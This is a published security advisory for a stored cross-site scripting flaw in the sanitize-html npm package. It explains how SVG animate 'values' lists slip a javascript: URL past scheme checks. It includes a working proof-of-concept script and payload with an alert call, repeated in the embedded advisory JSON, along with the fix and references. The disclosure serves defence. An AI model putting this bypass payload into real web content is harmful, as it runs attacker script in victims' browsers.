GHSA-G8QQ-57P8-GGW5
Vulnerability from github – Published: 2026-09-01 21:20 – Updated: 2026-09-01 21:20Summary
When SVG animation is allowed, attributeName="href" makes values a list of URL destinations. sanitize-html accepts a list that starts with a safe fragment even when values is explicitly scheme-checked, allowing a later javascript: destination to execute when the sanitized link is activated.
Details
index.js:371-383 validates each attribute as one flat URL. It does not recognize that attributeName="href" gives the sibling values attribute SMIL URI-list semantics. For values="#safe;javascript:...", the leading fragment passes the flat check and the complete list is retained.
PoC
This was reproduced with sanitize-html@2.17.6 and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to values; it does not allow javascript:. Save this as poc.js:
const sanitize = require('sanitize-html');
const input = `<svg><a><animate attributeName="href" values="#safe;javascript:alert('XSS')" dur=".01s" fill="freeze"></animate><text y="30">Click me</text></a></svg>`;
const output = sanitize(input, {
allowedTags: sanitize.defaults.allowedTags.concat(['svg', 'animate', 'text']),
allowedAttributes: {
...sanitize.defaults.allowedAttributes,
animate: ['attributename', 'values', 'dur', 'fill'],
text: ['y']
},
allowedSchemesAppliedToAttributes:
sanitize.defaults.allowedSchemesAppliedToAttributes.concat(['values'])
});
console.log(output);
Install and run it, then open poc.html and click Click me:
npm install sanitize-html@2.17.6
node poc.js > poc.html
The output retains the javascript: entry, and clicking the sanitized SVG displays XSS. With input changed to <a href="javascript:alert(1)">control</a>, the same configuration removes href.
Impact
In an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application's origin despite the configured scheme policy.
Suggested fix
Reject attributeName values selecting href or xlink:href on SVG animate and set, while retaining safe targets such as fill. Add values, from, and to regression cases.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.17.6"
},
"package": {
"ecosystem": "npm",
"name": "sanitize-html"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "2.17.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-84371"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T21:20:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nWhen SVG animation is allowed, `attributeName=\"href\"` makes `values` a list of URL destinations. `sanitize-html` accepts a list that starts with a safe fragment even when `values` is explicitly scheme-checked, allowing a later `javascript:` destination to execute when the sanitized link is activated.\n\n### Details\n`index.js:371-383` validates each attribute as one flat URL. It does not recognize that `attributeName=\"href\"` gives the sibling `values` attribute SMIL URI-list semantics. For `values=\"#safe;javascript:...\"`, the leading fragment passes the flat check and the complete list is retained.\n\n### PoC\nThis was reproduced with `sanitize-html@2.17.6` and Chromium 150.0.7871.124. The configuration adds SVG animation to the defaults and applies the existing scheme policy to `values`; it does not allow `javascript:`. Save this as `poc.js`:\n\n```js\nconst sanitize = require(\u0027sanitize-html\u0027);\n\nconst input = `\u003csvg\u003e\u003ca\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(\u0027XSS\u0027)\" dur=\".01s\" fill=\"freeze\"\u003e\u003c/animate\u003e\u003ctext y=\"30\"\u003eClick me\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`;\nconst output = sanitize(input, {\n allowedTags: sanitize.defaults.allowedTags.concat([\u0027svg\u0027, \u0027animate\u0027, \u0027text\u0027]),\n allowedAttributes: {\n ...sanitize.defaults.allowedAttributes,\n animate: [\u0027attributename\u0027, \u0027values\u0027, \u0027dur\u0027, \u0027fill\u0027],\n text: [\u0027y\u0027]\n },\n allowedSchemesAppliedToAttributes:\n sanitize.defaults.allowedSchemesAppliedToAttributes.concat([\u0027values\u0027])\n});\nconsole.log(output);\n```\n\nInstall and run it, then open `poc.html` and click `Click me`:\n\n```sh\nnpm install sanitize-html@2.17.6\nnode poc.js \u003e poc.html\n```\n\nThe output retains the `javascript:` entry, and clicking the sanitized SVG displays `XSS`. With `input` changed to `\u003ca href=\"javascript:alert(1)\"\u003econtrol\u003c/a\u003e`, the same configuration removes `href`.\n\n### Impact\nIn an application that accepts attacker-authored SVG animation, the attacker can store this payload without scripts or event handlers. A victim who activates the sanitized link executes JavaScript in the application\u0027s origin despite the configured scheme policy.\n\n### Suggested fix\nReject `attributeName` values selecting `href` or `xlink:href` on SVG `animate` and `set`, while retaining safe targets such as `fill`. Add `values`, `from`, and `to` regression cases.",
"id": "GHSA-g8qq-57p8-ggw5",
"modified": "2026-09-01T21:20:02Z",
"published": "2026-09-01T21:20:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-g8qq-57p8-ggw5"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/pull/5552"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/1135516a1a4a8f9638641c460488a43d8af20081"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/38ff1106c8176b16c2da9872acd9b449adcbb949"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/blob/main/packages/sanitize-html/CHANGELOG.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS: Stored XSS via SVG SMIL URI-list scheme-policy bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.